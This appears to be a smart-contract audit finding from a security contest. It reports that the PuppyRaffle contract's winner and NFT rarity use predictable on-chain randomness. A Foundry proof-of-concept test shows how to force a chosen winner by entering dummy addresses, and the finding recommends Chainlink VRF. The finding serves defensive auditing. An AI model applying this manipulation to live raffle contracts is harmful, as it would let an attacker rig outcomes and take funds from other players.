A weak source of randomness is used when selecting the winner of the raffle.
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length
This is the formula we use to calculate the winner, however it can easily be manipulated and calculated before even calling the function selectWinner
.
The same goes for the formula we use to calculate the rarity uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100
. It can easily be predicted what the rarity of the NFT will be and therefore force it to be for example legendary.
Leads to fixed winners and rarity of the NFTs.
Here is a POC showing what I mean:
function testBreaksRandom() public {
//Lets say we have 4 people in the raffle
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) %
players.length;
uint256 i = 5;
while (winnerIndex != 3) {
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(i);
puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % i;
i++;
}
console.log("The winner will be with index: ", winnerIndex);
}
In this test we clearly see that we can fix the winner to be with index 3. Let's say an attacker comes and wants to be the winner of the raffle. He can easily do that by adding random addresses until he is the one who is the picked winne.
VS Code, Foundry, Manual Review
Use a proper source of randomness like the Chainlink VRF.
Root cause: bad RNG Impact: manipulate winner
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.